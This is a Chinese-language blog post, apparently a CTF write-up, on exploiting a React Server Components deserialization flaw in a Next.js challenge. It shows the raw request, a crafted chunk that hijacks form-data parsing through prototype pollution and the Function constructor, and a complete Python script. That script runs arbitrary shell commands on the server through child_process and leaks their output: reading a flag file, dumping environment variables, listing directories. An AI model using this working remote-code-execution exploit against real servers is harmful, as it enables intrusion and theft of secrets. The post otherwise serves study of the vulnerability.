Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
655 字
3 分钟
来自bearcatctf国际赛的小小RSC反序列
2026-02-22
统计加载中...

来自bearcatctf国际赛的小小RSC反序列#

在bearcatctf国际赛上又一次撞见了RSC反序列,这次没有waf,这样可以直接进行原型链。

上次aliyun做的题把原型链全ban了,这次的轻松多了

不太像放图片,我就直接口述吧

先放放请求包格式

POST / HTTP/1.1
Host: chal.bearcatctf.io:38270
Content-Length: 471
Next-Action: 3fee78e8995a129cd1c598459b0203a43f700478
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2wGJp2c6AKkFYaS3
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Origin: http://chal.bearcatctf.io:38270
Referer: http://chal.bearcatctf.io:38270/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: userId=016e358a-dc59-4b22-8711-416cc1ab3a6c
Connection: keep-alive
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="1_$ACTION_ID_3fee78e8995a129cd1c598459b0203a43f700478"
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="1_title"
s
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="1_content"
s
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="0"
["$K1"]
------WebKitFormBoundary2wGJp2c6AKkFYaS3--

next-action的解码上次已经完整走过一次了,只要注意下细节就好了

同样的首先还是要注意chunk块头的解析,也就是以下的规则

0 = 那串json 1 = ”$@0” 这时0会被当成对象去进行解析,直接看看chunk块

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B0"}',
"_response": {
"_prefix": JS,
"_formData": {"get": "$1:constructor:constructor"},
},
}

这里的then拿到真实object的then方法,status不多说,详情请见我的CVE-2025-55182深度解析

解析value的默认规则贴一下。

case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);

这里是return response._formData.get(response._prefix + obj)然后obj是0,上文不放出了。

而formdata的get方法已经被劫持了,

$1:constructor:constructor

成了function,所以它默认接收function,然后_prefix被改写成了恶意js,然后就执行了系统命令

贴一贴脚本

import base64, json, re, requests
HOST = "http://chal.bearcatctf.io:38270"
ACTION = "3fee78e8995a129cd1c598459b0203a43f700478"
COOKIES = {"userId": "016e358a-dc59-4b22-8711-416cc1ab3a6c"}
ROUTER_STATE = "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D"
HEADERS = {
"Accept": "text/x-component",
"Next-Action": ACTION,
"Next-Router-State-Tree": ROUTER_STATE,
"Origin": HOST,
"Referer": HOST + "/",
}
def make_js(cmd: str) -> str:
cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")
return f"""
var cp = process.mainModule.require('child_process');
var out = cp.execSync("sh -lc '{cmd}' 2>&1").toString();
var b = Buffer.from(out,'utf8').toString('base64');
throw Object.assign(new Error('NEXT_REDIRECT'),{{
digest:'NEXT_REDIRECT;push;/?b='+b+';307;'
}});
""".strip()
def exploit(cmd: str):
JS = make_js(cmd) + "//" # 末尾注释吃掉拼接的 0
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B0"}',
"_response": {
"_prefix": JS,
"_formData": {"get": "$1:constructor:constructor"},
},
}
files = {
f"1_$ACTION_ID_{ACTION}": (None, ""),
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
r = requests.post(HOST + "/", headers=HEADERS, cookies=COOKIES, files=files, timeout=15)
text = r.text
m = re.search(r"/\?b=([A-Za-z0-9+/=]+);307;", text)
if not m:
print("[-] no base64 leak found. status =", r.status_code)
print(text[:1200])
return None
out = base64.b64decode(m.group(1)).decode("utf-8", errors="replace")
print("status =", r.status_code)
print(out)
return out
if __name__ == "__main__":
# 先确认执行环境
exploit("cat /app/flag.txt")
# 1) 先看环境变量里有没有 FLAG
exploit("echo \"FLAG=$FLAG\"; env | grep -i flag || true")
# 2) 枚举常见目录
exploit("ls -la /; ls -la /app 2>/dev/null || true; ls -la /srv 2>/dev/null || true; ls -la /home 2>/dev/null || true")
# 3) 直接搜 flag 文件(限制深度 + head 防止太慢)
exploit("find / -maxdepth 4 -type f -iname '*flag*' 2>/dev/null | head -n 50")

其实我个人觉得对于初学者来说,RSC牵扯出了很多js的底层知识,还是需要补充的。

就这样吧。

以上~~~

来自bearcatctf国际赛的小小RSC反序列
https://steins-gate.cn/posts/rsc反序列1/
作者
萦梦sora~X
发布于
2026-02-22
许可协议
Unlicensed

部分信息可能已经过时